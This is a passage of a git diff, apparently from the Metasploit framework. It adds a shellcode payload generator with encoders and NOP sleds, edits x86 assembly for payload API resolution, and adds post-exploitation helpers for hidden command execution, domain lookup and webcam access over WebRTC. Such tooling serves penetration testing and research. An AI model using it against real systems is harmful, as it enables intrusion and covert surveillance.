(System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) { + ShellPath = new String("/bin/sh"); +} else { + ShellPath = new String("cmd.exe"); +} + EOS + end + + jsp + end + +end diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 9d7e5cd574..26856d4444 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -72,7 +72,7 @@ module Msf::Payload::Windows register_options( [ - Msf::OptRaw.new('EXITFUNC', [ true, "Exit technique: #{@@exit_types.keys.join(", ")}", 'process' ]) + Msf::OptEnum.new('EXITFUNC', [true, 'Exit technique', 'process', @@exit_types.keys]) ], Msf::Payload::Windows ) ret end diff --git a/lib/msf/core/payload/windows/prepend_migrate.rb b/lib/msf/core/payload/windows/prepend_migrate.rb index 19d36e081d..122a5f28ff 100644 --- a/lib/msf/core/payload/windows/prepend_migrate.rb +++ b/lib/msf/core/payload/windows/prepend_migrate.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'msf/core' ### @@ -85,21 +86,24 @@ module Msf::Payload::Windows::PrependMigrate ror edi, 13 ; Rotate right our hash value add edi, eax ; Add the next byte of the name loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed push edx ; Save the current position in the module list for later push edi ; Save the current module hash for later ; Proceed to iterate the export address table mov edx, [edx+16] ; Get this modules base address mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names + + ; use ecx as our EAT pointer here so we can take advantage of jecxz. + mov ecx, [eax+edx+120] ; Get the EAT from the PE header + jecxz get_next_mod1 ; If no EAT present, process the next module + add ecx, edx ; Add the modules base address + push ecx ; Save the current modules EAT + mov ebx, [ecx+32] ; Get the rva of the function names add ebx, edx ; Add the modules base address + mov ecx, [ecx+24] ; Get the number of function names + ; now ecx returns to its regularly scheduled counter duties + ; Computing the module hash + function hash get_next_func: ; jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module @@ -118,6 +122,7 @@ module Msf::Payload::Windows::PrependMigrate add edi, [ebp-8] ; Add the current module hash to the function hash cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... pop eax ; Restore the current modules EAT mov ebx, [eax+36] ; Get the ordinal table rva @@ -138,6 +143,7 @@ module Msf::Payload::Windows::PrependMigrate push ecx ; Push back the correct return value jmp eax ; Jump into the required function ; We now automagically return to the correct caller... + get_next_mod: ; pop eax ; Pop off the current (now the previous) modules EAT get_next_mod1: ; diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb new file mode 100644 index 0000000000..7a0358a7a7 --- /dev/null +++ b/lib/msf/core/payload_generator.rb @@ -0,0 +1,396 @@ +# -*- coding: binary -*- +require 'active_support/core_ext/numeric/bytes' +module Msf + + class PayloadGeneratorError < StandardError + end + + class EncoderSpaceViolation < PayloadGeneratorError + end + + class IncompatibleArch < PayloadGeneratorError + end + + class IncompatibleEndianess < PayloadGeneratorError + end + + class IncompatiblePlatform < PayloadGeneratorError + end + + class InvalidFormat < PayloadGeneratorError + end + + class PayloadGenerator + + # @!attribute add_code + # @return [String] The path to a shellcode file to execute in a seperate thread + attr_accessor :add_code + # @!attribute arch + # @return [String] The CPU architecture to build the payload for + attr_accessor :arch + # @!attribute badchars + # @return [String] The bad characters that can't be in the payload + attr_accessor :badchars + # @!attribute cli + # @return [Boolean] Whether this is being run by a CLI script + attr_accessor :cli + # @!attribute datastore + # @return [Hash] The datastore to apply to the payload module + attr_accessor :datastore + # @!attribute encoder + # @return [String] The encoder(s) you want applied to the payload + attr_accessor :encoder + # @!attribute format + # @return [String] The format you want the payload returned in + attr_accessor :format + # @!attribute framework + # @return [Msf::Framework] The framework instance to use for generation + attr_accessor :framework + # @!attribute iterations + # @return [Fixnum] The number of iterations to run the encoder + attr_accessor :iterations + # @!attribute keep + # @return [Boolean] Whether or not to preserve the original functionality of the template + attr_accessor :keep + # @!attribute nops + # @return [Fixnum] The size in bytes of NOP sled to prepend the payload with + attr_accessor :nops + # @!attribute payload + # @return [String] The refname of the payload to generate + attr_accessor :payload + # @!attribute platform + # @return [String] The platform to build the payload for + attr_accessor :platform + # @!attribute space + # @return [Fixnum] The maximum size in bytes of the payload + attr_accessor :space + # @!attribute stdin + # @return [String] The raw bytes of a payload taken from STDIN + attr_accessor :stdin + # @!attribute template + # @return [String] The path to an executable template to use + attr_accessor :template + + + # @param opts [Hash] The options hash + # @option opts [String] :payload (see #payload) + # @option opts [String] :format (see #format) + # @option opts [String] :encoder (see #encoder) + # @option opts [Fixnum] :iterations (see #iterations) + # @option opts [String] :arch (see #arch) + # @option opts [String] :platform (see #platform) + # @option opts [String] :badchars (see #badchars) + # @option opts [String] :template (see #template) + # @option opts [Fixnum] :space (see #space) + # @option opts [Fixnum] :nops (see #nops) + # @option opts [String] :add_code (see #add_code) + # @option opts [Boolean] :keep (see #keep) + # @option opts [Hash] :datastore (see #datastore) + # @option opts [Msf::Framework] :framework (see #framework) + # @option opts [Boolean] :cli (see #cli) + # @raise [KeyError] if framework is not provided in the options hash + def initialize(opts={}) + @add_code = opts.fetch(:add_code, '') + @arch = opts.fetch(:arch, '') + @badchars = opts.fetch(:badchars, '') + @cli = opts.fetch(:cli, false) + @datastore = opts.fetch(:datastore, {}) + @encoder = opts.fetch(:encoder, '') + @format = opts.fetch(:format, 'raw') + @iterations = opts.fetch(:iterations, 1) + @keep = opts.fetch(:keep, false) + @nops = opts.fetch(:nops, 0) + @payload = opts.fetch(:payload, '') + @platform = opts.fetch(:platform, '') + @space = opts.fetch(:space, 1.gigabyte) + @stdin = opts.fetch(:stdin, nil) + @template = opts.fetch(:template, '') + + @framework = opts.fetch(:framework) + + raise ArgumentError, "Invalid Payload Selected" unless payload_is_valid? + raise ArgumentError, "Invalid Format Selected" unless format_is_valid? + end + + # This method takes the shellcode generated so far and adds shellcode from + # a supplied file. The added shellcode is executed in a seperate thread + # from the main payload. + # @param shellcode [String] The shellcode to add to + # @return [String] the combined shellcode which executes the added code in a seperate thread + def add_shellcode(shellcode) + if add_code.present? and platform_list.platforms.include? Msf::Module::Platform::Windows and arch == "x86" + cli_print "Adding shellcode from #{add_code} to the payload" + shellcode_file = File.open(add_code) + shellcode_file.binmode + added_code = shellcode_file.read + shellcode_file.close + shellcode = ::Msf::Util::EXE.win32_rwx_exec_thread(shellcode,0,'end') + shellcode << added_code + else + shellcode.dup + end + end + + # This method takes a payload module and tries to reconcile a chosen + # arch with the arches supported by the module. + # @param mod [Msf::Payload] The module class to choose an arch for + # @return [String] String form of the Arch if a valid arch found + # @return [Nil] if no valid arch found + def choose_arch(mod) + if arch.blank? + @arch = mod.arch.first + cli_print "No Arch selected, selecting Arch: #{arch} from the payload" + return mod.arch.first + elsif mod.arch.include? arch + return arch + else + return nil + end + end + + # This method takes a payload module and tries to reconcile a chosen + # platform with the platforms supported by the module. + # @param mod [Msf::Payload] The module class to choose a platform for + # @return [Msf::Module::PlatformList] The selected platform list + def choose_platform(mod) + chosen_platform = platform_list + if chosen_platform.platforms.empty? + chosen_platform = mod.platform + cli_print "No platform was selected, choosing #{chosen_platform.platforms.first} from the payload" + @platform = mod.platform.platforms.first.to_s.split("::").last + elsif (chosen_platform & mod.platform).empty? + chosen_platform = Msf::Module::PlatformList.new + end + chosen_platform + end + + # This method takes the shellcode generated so far and iterates through + # the chosen or compatible encoders. It attempts to encode the payload + # with each encoder until it finds one that works. + # @param shellcode [String] The shellcode to encode + # @return [String] The encoded shellcode + def encode_payload(shellcode) + shellcode = shellcode.dup + encoder_list = get_encoders + cli_print "Found #{encoder_list.count} compatible encoders" + if encoder_list.empty? + shellcode + else + encoder_list.each do |encoder_mod| + cli_print "Attempting to encode payload with #{iterations} iterations of #{encoder_mod.refname}" + begin + return run_encoder(encoder_mod, shellcode.dup) + rescue ::Msf::EncoderSpaceViolation => e + cli_print "#{encoder_mod.refname} failed with #{e.message}" + next + rescue ::Msf::EncodingError => e + cli_print "#{encoder_mod.refname} failed with #{e.message}" + next + end + end + raise ::Msf::EncodingError, "No Encoder Succeeded" + end + end + + # This returns a hash for the exe format generation of payloads + # @return [Hash] The hash needed for generating an executable format + def exe_options + opts = { inject: keep } + unless template.blank? + opts[:template_path] = File.dirname(template) + opts[:template] = File.basename(template) + end + opts + end + + # This method takes the payload shellcode and formats it appropriately based + # on the selected output format. + # @param shellcode [String] the processed shellcode to be formatted + # @return [String] The final formatted form of the payload + def format_payload(shellcode) + case format.downcase + when "js_be" + if Rex::Arch.endian(arch) != ENDIAN_BIG + raise IncompatibleEndianess, "Big endian format selected for a non big endian payload" + else + ::Msf::Simple::Buffer.transform(shellcode, format) + end + when *::Msf::Simple::Buffer.transform_formats + ::Msf::Simple::Buffer.transform(shellcode, format) + when *::Msf::Util::EXE.to_executable_fmt_formats + ::Msf::Util::EXE.to_executable_fmt(framework, arch, platform_list, shellcode, format, exe_options) + else + raise InvalidFormat, "you have selected an invalid payload format" + end + end + + # This method generates Java payloads which are a special case. + # They can be generated in raw or war formats, which respectively + # produce a JAR or WAR file for the java payload. + # @return [String] Java payload as a JAR or WAR file + def generate_java_payload + payload_module = framework.payloads.create(payload) + payload_module.datastore.merge!(datastore) + case format + when "raw", "jar" + if payload_module.respond_to? :generate_jar + payload_module.generate_jar.pack + else + payload_module.generate + end + when "war" + if payload_module.respond_to? :generate_war + payload_module.generate_war.pack + else + raise InvalidFormat, "#{payload} is not a Java payload" + end + else + raise InvalidFormat, "#{format} is not a valid format for Java payloads" + end + end + + # This method is a wrapper around all of the other methods. It calls the correct + # methods in order based on the supplied options and returns the finished payload. + # @return [String] A string containing the bytes of the payload in the format selected + def generate_payload + if platform == "java" or arch == "java" or payload.start_with? "java/" + generate_java_payload + else + raw_payload = generate_raw_payload + raw_payload = add_shellcode(raw_payload) + encoded_payload = encode_payload(raw_payload) + encoded_payload = prepend_nops(encoded_payload) + format_payload(encoded_payload) + end + end + + + # This method generates the raw form of the payload as generated by the payload module itself. + # @raise [Msf::IncompatiblePlatform] if no platform was selected for a stdin payload + # @raise [Msf::IncompatibleArch] if no arch was selected for a stdin payload + # @raise [Msf::IncompatiblePlatform] if the platform is incompatible with the payload + # @raise [Msf::IncompatibleArch] if the arch is incompatible with the payload + # @return [String] the raw bytes of the payload to be generated + def generate_raw_payload + if payload == 'stdin' + if arch.blank? + raise IncompatibleArch, "You must select an arch for a custom payload" + elsif platform.blank? + raise IncompatiblePlatform, "You must select a platform for a custom payload" + end + stdin + else + payload_module = framework.payloads.create(payload) + + chosen_platform = choose_platform(payload_module) + if chosen_platform.platforms.empty? + raise IncompatiblePlatform, "The selected platform is incompatible with the payload" + end + + chosen_arch = choose_arch(payload_module) + unless chosen_arch + raise IncompatibleArch, "The selected arch is incompatible with the payload" + end + + payload_module.generate_simple( + 'Format' => 'raw', + 'Options' => datastore, + 'Encoder' => nil + ) + end + end + + # This method returns an array of encoders that either match the + # encoders selected by the user, or match the arch selected. + # @return [Array<Msf::Encoder>] An array of potential encoders to use + def get_encoders + encoders = [] + if encoder.present? + # Allow comma seperated list of encoders so users can choose several + encoder.split(',').each do |chosen_encoder| + encoders << framework.encoders.create(chosen_encoder) + end + encoders.sort_by { |my_encoder| my_encoder.rank }.reverse + elsif badchars.present? + framework.encoders.each_module_ranked('Arch' => [arch]) do |name, mod| + encoders << framework.encoders.create(name) + end + encoders.sort_by { |my_encoder| my_encoder.rank }.reverse + else + encoders + end + end + + # Returns a PlatformList object based on the platform string given at creation. + # @return [Msf::Module::PlatformList] It will be empty if no valid platforms found + def platform_list + if platform.blank? + list = Msf::Module::PlatformList.new + else + begin + list = ::Msf::Module::PlatformList.transform(platform) + rescue + list = Msf::Module::PlatformList.new + end + end + list + end + + # This method takes an encoded payload and prepends a NOP Sled to it + # with a size based on the nops value given to the generator. + # @param shellcode [String] The shellcode to prepend the NOPs to + # @return [String] the shellcode with the appropriate nopsled affixed + def prepend_nops(shellcode) + if nops > 0 + framework.nops.each_module_ranked('Arch' => [arch]) do |name, mod| + nop = framework.nops.create(name) + raw = nop.generate_sled(nops, {'BadChars' => badchars, 'SaveRegisters' => [ 'esp', 'ebp', 'esi', 'edi' ] }) + if raw + cli_print "Successfully added NOP sled from #{name}" + return raw + shellcode + end + end + else + shellcode + end + end + + # This method runs a specified encoder, for a number of defined iterations against the shellcode. + # @param encoder_module [Msf::Encoder] The Encoder to run against the shellcode + # @param shellcode [String] The shellcode to be encoded + # @return [String] The encoded shellcode + # @raise [Msf::EncoderSpaceViolation] If the Encoder makes the shellcode larger than the supplied space limit + def run_encoder(encoder_module, shellcode) + iterations.times do |x| + shellcode = encoder_module.encode(shellcode.dup, badchars, nil, platform_list) + cli_print "#{encoder_module.refname} succeeded with size #{shellcode.length} (iteration=#{x})" + raise EncoderSpaceViolation, "encoder has made a buffer that is too big" if shellcode.length > space + end + shellcode + end + + private + + # This method prints output to the console if running in CLI mode + # @param [String] message The message to print to the console. + def cli_print(message= '') + $stderr.puts message if cli + end + + # This method checks if the Generator's selected format is valid + # @return [True] if the format is valid + # @return [False] if the format is not valid + def format_is_valid? + formats = (::Msf::Util::EXE.to_executable_fmt_formats + ::Msf::Simple::Buffer.transform_formats).uniq + formats.include? format.downcase + end + + # This method checks if the Generator's selected payload is valid + # @return [True] if the payload is a valid Metasploit Payload + # @return [False] if the payload is not a valid Metasploit Payload + def payload_is_valid? + (framework.payloads.keys + ['stdin']).include? payload + end + + end +end diff --git a/lib/msf/core/post.rb b/lib/msf/core/post.rb index d9574910be..cf45672d08 100644 --- a/lib/msf/core/post.rb +++ b/lib/msf/core/post.rb @@ -9,6 +9,7 @@ class Msf::Post < Msf::Module require 'msf/core/post_mixin' require 'msf/core/post/file' + require 'msf/core/post/webrtc' require 'msf/core/post/linux' require 'msf/core/post/osx' @@ -45,4 +46,17 @@ class Msf::Post < Msf::Module mod end + + # This method returns the ID of the {Mdm::Session} that the post module + # is currently running agaist. + # + # @return [NilClass] if there is no database record for the session + # @return [Fixnum] if there is a database record to get the id for + def session_db_id + if session.db_record + session.db_record.id + else + nil + end + end end diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb index e6cce966f8..96c72ec0e2 100644 --- a/lib/msf/core/post/common.rb +++ b/lib/msf/core/post/common.rb @@ -2,6 +2,28 @@ module Msf::Post::Common + def rhost + case session.type + when 'meterpreter' + session.sock.peerhost + when 'shell' + session.session_host + end + end + + def rport + case session.type + when 'meterpreter' + session.sock.peerport + when 'shell' + session.session_port + end + end + + def peer + "#{rhost}:#{rport}" + end + # # Checks if the remote system has a process with ID +pid+ # @@ -88,6 +110,7 @@ module Msf::Post::Common break if d == "" o << d end + o.chomp! if o process.channel.close process.close when /shell/ @@ -98,6 +121,23 @@ module Msf::Post::Common return o end + def cmd_exec_get_pid(cmd, args=nil, time_out=15) + case session.type + when /meterpreter/ + if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/ + args = "" + end + session.response_timeout = time_out + process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true}) + process.channel.close + pid = process.pid + process.close + pid + else + print_error "cmd_exec_get_pid is incompatible with non-meterpreter sessions" + end + end + # # Reports to the database that the host is a virtual machine and reports # the type of virtual machine it is (e.g VirtualBox, VMware, Xen) @@ -114,4 +154,55 @@ module Msf::Post::Common report_host(vm_data) end + # + # Returns the value of the environment variable +env+ + # + def get_env(env) + case session.type + when /meterpreter/ + return session.sys.config.getenv(env) + when /shell/ + if session.platform =~ /win/ + if env[0,1] == '%' + unless env[-1,1] == '%' + env << '%' + end + else + env = "%#{env}%" + end + + return cmd_exec("echo #{env}") + else + unless env[0,1] == '$' + env = "$#{env}" + end + + return cmd_exec("echo \"#{env}\"") + end + end + + nil + end + + # + # Returns a hash of environment variables +envs+ + # + def get_envs(*envs) + case session.type + when /meterpreter/ + return session.sys.config.getenvs(*envs) + when /shell/ + result = {} + envs.each do |env| + res = get_env(env) + result[env] = res unless res.blank? + end + + return result + end + + nil + end + end + diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index 7013b95832..1d148f7028 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -41,13 +41,14 @@ module Msf::Post::File return stat.directory? else if session.platform =~ /win/ - # XXX + f = cmd_exec("cmd.exe /C IF exist \"#{path}\\*\" ( echo true )") else f = session.shell_command_token("test -d '#{path}' && echo true") - return false if f.nil? or f.empty? - return false unless f =~ /true/ - return true end + + return false if f.nil? or f.empty? + return false unless f =~ /true/ + return true end end @@ -72,13 +73,17 @@ module Msf::Post::File return stat.file? else if session.platform =~ /win/ - # XXX + f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )") + if f =~ /true/ + f = cmd_exec("cmd.exe /C IF exist \"#{path}\\\\\" ( echo false ) ELSE ( echo true )") + end else f = session.shell_command_token("test -f '#{path}' && echo true") - return false if f.nil? or f.empty? - return false unless f =~ /true/ - return true end + + return false if f.nil? or f.empty? + return false unless f =~ /true/ + return true end end @@ -93,13 +98,14 @@ module Msf::Post::File return !!(stat) else if session.platform =~ /win/ - # XXX + f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )") else f = session.shell_command_token("test -e '#{path}' && echo true") - return false if f.nil? or f.empty? - return false unless f =~ /true/ - return true end + + return false if f.nil? or f.empty? + return false unless f =~ /true/ + return true end end diff --git a/lib/msf/core/post/linux.rb b/lib/msf/core/post/linux.rb index a42dd1056e..b056fff87c 100644 --- a/lib/msf/core/post/linux.rb +++ b/lib/msf/core/post/linux.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf::Post::Linux require 'msf/core/post/linux/priv' require 'msf/core/post/linux/system' diff --git a/lib/msf/core/post/osx.rb b/lib/msf/core/post/osx.rb index 0227f44dbb..e7bd3e59e2 100644 --- a/lib/msf/core/post/osx.rb +++ b/lib/msf/core/post/osx.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf::Post::OSX require 'msf/core/post/osx/system' diff --git a/lib/msf/core/post/osx/ruby_dl.rb b/lib/msf/core/post/osx/ruby_dl.rb index 87f30e38a0..7b52a52c16 100644 --- a/lib/msf/core/post/osx/ruby_dl.rb +++ b/lib/msf/core/post/osx/ruby_dl.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf class Post module OSX diff --git a/lib/msf/core/post/solaris.rb b/lib/msf/core/post/solaris.rb index 015fd29470..42620e9a21 100644 --- a/lib/msf/core/post/solaris.rb +++ b/lib/msf/core/post/solaris.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf::Post::Solaris require 'msf/core/post/solaris/priv' require 'msf/core/post/solaris/system' diff --git a/lib/msf/core/post/webrtc.rb b/lib/msf/core/post/webrtc.rb new file mode 100644 index 0000000000..0f89b4bd4a --- /dev/null +++ b/lib/msf/core/post/webrtc.rb @@ -0,0 +1,57 @@ +# -*- coding: binary -*- + +module Msf::Post::WebRTC + + # + # Connects to a video chat session as an answerer + # + # @param offerer_id [String] The offerer's ID in order to join the video chat + # @return void + # + def connect_video_chat(server, channel, offerer_id) + interface = load_interface('answerer.html') + interface.gsub!(/\=SERVER\=/, server) + interface.gsub!(/\=RHOST\=/, rhost) + interface.gsub!(/\=CHANNEL\=/, channel) + interface.gsub!(/\=OFFERERID\=/, offerer_id) + + tmp_interface = Tempfile.new(['answerer', '.html']) + tmp_interface.binmode + tmp_interface.write(interface) + tmp_interface.close + + found_local_browser = Rex::Compat.open_webrtc_browser(tmp_interface.path) + unless found_local_browser + raise RuntimeError, "Unable to find a suitable browser to connect to the target" + end + end + + + # + # Returns the webcam interface + # + # @param html_name [String] The filename of the HTML interface (offerer.html or answerer.html) + # @return [String] The HTML interface code + # + def load_interface(html_name) + interface_path = ::File.join(Msf::Config.data_directory, 'webcam', html_name) + interface_code = '' + ::File.open(interface_path) { |f| interface_code = f.read } + interface_code.gsub!(/\=WEBRTCAPIJS\=/, load_api_code) + interface_code + end + + + # + # Returns the webcam API + # + # @return [String] The WebRTC lib code + # + def load_api_code + js_api_path = ::File.join(Msf::Config.data_directory, 'webcam', 'api.js') + api = '' + ::File.open(js_api_path) { |f| api = f.read } + api + end + +end diff --git a/lib/msf/core/post/windows.rb b/lib/msf/core/post/windows.rb index a504e65670..4d41dbcbe3 100644 --- a/lib/msf/core/post/windows.rb +++ b/lib/msf/core/post/windows.rb @@ -1,5 +1,8 @@ +# -*- coding: binary -*- module Msf::Post::Windows + require 'msf/core/post/windows/error' + require 'msf/core/post/windows/extapi' require 'msf/core/post/windows/accounts' require 'msf/core/post/windows/cli_parse' require 'msf/core/post/windows/eventlog' @@ -9,7 +12,12 @@ module Msf::Post::Windows require 'msf/core/post/windows/process' require 'msf/core/post/windows/railgun' require 'msf/core/post/windows/registry' + require 'msf/core/post/windows/runas' require 'msf/core/post/windows/services' + require 'msf/core/post/windows/wmic' + require 'msf/core/post/windows/netapi' require 'msf/core/post/windows/shadowcopy' require 'msf/core/post/windows/user_profiles' + require 'msf/core/post/windows/ldap' + require 'msf/core/post/windows/reflective_dll_injection' end diff --git a/lib/msf/core/post/windows/accounts.rb b/lib/msf/core/post/windows/accounts.rb index d65930b62c..5590fce301 100644 --- a/lib/msf/core/post/windows/accounts.rb +++ b/lib/msf/core/post/windows/accounts.rb @@ -5,6 +5,64 @@ module Windows module Accounts + GUID = [ + ['Data1',:DWORD], + ['Data2',:WORD], + ['Data3',:WORD], + ['Data4','BYTE[8]'] + ] + + DOMAIN_CONTROLLER_INFO = [ + ['DomainControllerName',:LPSTR], + ['DomainControllerAddress',:LPSTR], + ['DomainControllerAddressType',:ULONG], + ['DomainGuid',GUID], + ['DomainName',:LPSTR], + ['DnsForestName',:LPSTR], + ['Flags',:ULONG], + ['DcSiteName',:LPSTR], + ['ClientSiteName',:LPSTR] + ] + + ## + # get_domain(server_name=nil) + # + # Summary: + # Retrieves the current DomainName the given server is + # a member of. + # + # Parameters + # server_name - DNS or NetBIOS name of the remote server + # Returns: + # The DomainName of the remote server or nil if windows + # could not retrieve the DomainControllerInfo or encountered + # an exception. + # + ## + def get_domain(server_name=nil) + domain = nil + result = session.railgun.netapi32.DsGetDcNameA( + server_name, + nil, + nil, + nil, + 0, + 4) + + begin + dc_info_addr = result['DomainControllerInfo'] + unless dc_info_addr == 0 + dc_info = session.railgun.util.read_data(DOMAIN_CONTROLLER_INFO, dc_info_addr) + pointer = session.railgun.util.unpack_pointer(dc_info['DomainName']) + domain = session.railgun.util.read_string(pointer) + end + ensure + session.railgun.netapi32.NetApiBufferFree(dc_info_addr) + end + + domain + end + ## # delete_user(username, server_name = nil) # @@ -212,7 +270,7 @@ module Accounts #define generic mapping structure gen_map = [0,0,0,0] - gen_map = gen_map.pack("L") + gen_map = gen_map.pack("V") buffer_size = 500 #get Security Descriptor for the directory diff --git a/lib/msf/core/post/windows/error.rb b/lib/msf/core/post/windows/error.rb new file mode 100644 index 0000000000..a9764c32ab --- /dev/null +++ b/lib/msf/core/post/windows/error.rb @@ -0,0 +1,2532 @@ +# -*- coding: binary -*- + +module Msf::Post::Windows::Error + SUCCESS = 0x0000 + INVALID_FUNCTION = 0x0001 + FILE_NOT_FOUND = 0x0002 + PATH_NOT_FOUND = 0x0003 + TOO_MANY_OPEN_FILES = 0x0004 + ACCESS_DENIED = 0x0005 + INVALID_HANDLE = 0x0006 + ARENA_TRASHED = 0x0007 + NOT_ENOUGH_MEMORY = 0x0008 + INVALID_BLOCK = 0x0009 + BAD_ENVIRONMENT = 0x000A + BAD_FORMAT = 0x000B + INVALID_ACCESS = 0x000C + INVALID_DATA = 0x000D + OUTOFMEMORY = 0x000E + INVALID_DRIVE = 0x000F + CURRENT_DIRECTORY = 0x0010 + NOT_SAME_DEVICE = 0x0011 + NO_MORE_FILES = 0x0012 + WRITE_PROTECT = 0x0013 + BAD_UNIT = 0x0014 + NOT_READY = 0x0015 + BAD_COMMAND = 0x0016 + CRC = 0x0017 + BAD_LENGTH = 0x0018 + SEEK = 0x0019 + NOT_DOS_DISK = 0x001A + SECTOR_NOT_FOUND = 0x001B + OUT_OF_PAPER = 0x001C + WRITE_FAULT = 0x001D + READ_FAULT = 0x001E + GEN_FAILURE = 0x001F + SHARING_VIOLATION = 0x0020 + LOCK_VIOLATION = 0x0021 + WRONG_DISK = 0x0022 + SHARING_BUFFER_EXCEEDED = 0x0024 + HANDLE_EOF = 0x0026 + HANDLE_DISK_FULL = 0x0027 + NOT_SUPPORTED = 0x0032 + REM_NOT_LIST = 0x0033 + DUP_NAME = 0x0034 + BAD_NETPATH = 0x0035 + NETWORK_BUSY = 0x0036 + DEV_NOT_EXIST = 0x0037 + TOO_MANY_CMDS = 0x0038 + ADAP_HDW_ERR = 0x0039 + BAD_NET_RESP = 0x003A + UNEXP_NET_ERR = 0x003B + BAD_REM_ADAP = 0x003C + PRINTQ_FULL = 0x003D + NO_SPOOL_SPACE = 0x003E + PRINT_CANCELLED = 0x003F + NETNAME_DELETED = 0x0040 + NETWORK_ACCESS_DENIED = 0x0041 + BAD_DEV_TYPE = 0x0042 + BAD_NET_NAME = 0x0043 + TOO_MANY_NAMES = 0x0044 + TOO_MANY_SESS = 0x0045 + SHARING_PAUSED = 0x0046 + REQ_NOT_ACCEP = 0x0047 + REDIR_PAUSED = 0x0048 + FILE_EXISTS = 0x0050 + CANNOT_MAKE = 0x0052 + FAIL_I24 = 0x0053 + OUT_OF_STRUCTURES = 0x0054 + ALREADY_ASSIGNED = 0x0055 + INVALID_PASSWORD = 0x0056 + INVALID_PARAMETER = 0x0057 + NET_WRITE_FAULT = 0x0058 + NO_PROC_SLOTS = 0x0059 + TOO_MANY_SEMAPHORES = 0x0064 + EXCL_SEM_ALREADY_OWNED = 0x0065 + SEM_IS_SET = 0x0066 + TOO_MANY_SEM_REQUESTS = 0x0067 + INVALID_AT_INTERRUPT_TIME = 0x0068 + SEM_OWNER_DIED = 0x0069 + SEM_USER_LIMIT = 0x006A + DISK_CHANGE = 0x006B + DRIVE_LOCKED = 0x006C + BROKEN_PIPE = 0x006D + OPEN_FAILED = 0x006E + BUFFER_OVERFLOW = 0x006F + DISK_FULL = 0x0070 + NO_MORE_SEARCH_HANDLES = 0x0071 + INVALID_TARGET_HANDLE = 0x0072 + INVALID_CATEGORY = 0x0075 + INVALID_VERIFY_SWITCH = 0x0076 + BAD_DRIVER_LEVEL = 0x0077 + CALL_NOT_IMPLEMENTED = 0x0078 + SEM_TIMEOUT = 0x0079 + INSUFFICIENT_BUFFER = 0x007A + INVALID_NAME = 0x007B + INVALID_LEVEL = 0x007C + NO_VOLUME_LABEL = 0x007D + MOD_NOT_FOUND = 0x007E + PROC_NOT_FOUND = 0x007F + WAIT_NO_CHILDREN = 0x0080 + CHILD_NOT_COMPLETE = 0x0081 + DIRECT_ACCESS_HANDLE = 0x0082 + NEGATIVE_SEEK = 0x0083 + SEEK_ON_DEVICE = 0x0084 + IS_JOIN_TARGET = 0x0085 + IS_JOINED = 0x0086 + IS_SUBSTED = 0x0087 + NOT_JOINED = 0x0088 + NOT_SUBSTED = 0x0089 + JOIN_TO_JOIN = 0x008A + SUBST_TO_SUBST = 0x008B + JOIN_TO_SUBST = 0x008C + SUBST_TO_JOIN = 0x008D + BUSY_DRIVE = 0x008E + SAME_DRIVE = 0x008F + DIR_NOT_ROOT = 0x0090 + DIR_NOT_EMPTY = 0x0091 + IS_SUBST_PATH = 0x0092 + IS_JOIN_PATH = 0x0093 + PATH_BUSY = 0x0094 + IS_SUBST_TARGET = 0x0095 + SYSTEM_TRACE = 0x0096 + INVALID_EVENT_COUNT = 0x0097 + TOO_MANY_MUXWAITERS = 0x0098 + INVALID_LIST_FORMAT = 0x0099 + LABEL_TOO_LONG = 0x009A + TOO_MANY_TCBS = 0x009B + SIGNAL_REFUSED = 0x009C + DISCARDED = 0x009D + NOT_LOCKED = 0x009E + BAD_THREADID_ADDR = 0x009F + BAD_ARGUMENTS = 0x00A0 + BAD_PATHNAME = 0x00A1 + SIGNAL_PENDING = 0x00A2 + MAX_THRDS_REACHED = 0x00A4 + LOCK_FAILED = 0x00A7 + BUSY = 0x00AA + CANCEL_VIOLATION = 0x00AD + ATOMIC_LOCKS_NOT_SUPPORTED = 0x00AE + INVALID_SEGMENT_NUMBER = 0x00B4 + INVALID_ORDINAL = 0x00B6 + ALREADY_EXISTS = 0x00B7 + INVALID_FLAG_NUMBER = 0x00BA + SEM_NOT_FOUND = 0x00BB + INVALID_STARTING_CODESEG = 0x00BC + INVALID_STACKSEG = 0x00BD + INVALID_MODULETYPE = 0x00BE + INVALID_EXE_SIGNATURE = 0x00BF + EXE_MARKED_INVALID = 0x00C0 + BAD_EXE_FORMAT = 0x00C1 + ITERATED_DATA_EXCEEDS_64k = 0x00C2 + INVALID_MINALLOCSIZE = 0x00C3 + DYNLINK_FROM_INVALID_RING = 0x00C4 + IOPL_NOT_ENABLED = 0x00C5 + INVALID_SEGDPL = 0x00C6 + AUTODATASEG_EXCEEDS_64k = 0x00C7 + RING2SEG_MUST_BE_MOVABLE = 0x00C8 + RELOC_CHAIN_XEEDS_SEGLIM = 0x00C9 + INFLOOP_IN_RELOC_CHAIN = 0x00CA + ENVVAR_NOT_FOUND = 0x00CB + NO_SIGNAL_SENT = 0x00CD + FILENAME_EXCED_RANGE = 0x00CE + RING2_STACK_IN_USE = 0x00CF + 